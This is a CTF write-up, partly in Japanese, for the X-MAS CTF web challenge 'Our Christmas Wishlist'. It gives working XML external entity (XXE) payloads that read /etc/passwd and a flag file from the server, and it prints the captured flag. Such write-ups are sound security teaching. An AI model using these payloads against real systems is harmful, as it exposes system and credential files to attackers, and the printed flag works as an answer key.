X-MAS CTF Writeup Web Our Christmas Wishlist

Our Christmas Wishlist

We have all gathered round to write down our wishes and desires for this Christmas! Please don't write anything mean, Santa will be reading this!

Server: http://199.247.6.180:12001

Serverにアクセスすると以下のようなWebサイトだった。

f:id:Yunolay:20181218044811p:plain

POSTをするとdataが表示される。 ソースコードを確認する。

<body background="paper.jpg" style = "margin-left:25px; margin-top:25px;">
    <p class="text" style="font-size: 60px">Our Christmas Wishlist!</p>
    <textarea id="textarea" rows="6" cols="50" placeholder="I wish for a pony..." class="text" style="font-size: 30px"></textarea>
    <button style="position:relative; bottom:90px; left:20px;" onclick="lol();"></button>
    
    <div style="margin-top:24px;">
            </div>
</body>

onclickでlol()が呼ばれている。

<script>
function lol () {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            document.location.reload();
        }
    };
    
    var xml = "<message>" + document.getElementById("textarea").value + "</message>";
    xhttp.open("POST", "/", true);
    xhttp.setRequestHeader('Content-Type', 'application/xml');
    xhttp.send(xml);
};
</script>

xmlでメッセージを送信している。 php xml脆弱性を調べるとXXE攻撃と言うものがあるそうだ。

www.mbsd.jp

とりあえず/etc/passwdを読み出してみる。

<!DOCTYPE name [
<!ENTITY h SYSTEM "file:///etc/passwd">  <!-- <D> -->
]>
<message>&h;</message>

f:id:Yunolay:20181218045547p:plain

XXE攻撃が成功して/etc/passwdを呼び出せた。

ここからどうフラグを探そうか悩んだが、とりあえず/var/www/html直下のflag.txtを試してみたら正解だった。

<!DOCTYPE name [
<!ENTITY h SYSTEM "file:///var/www/html/flag.txt">  <!-- <D> -->
]>
<message>&h;</message>

f:id:Yunolay:20181218045718p:plain

FLAG:X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}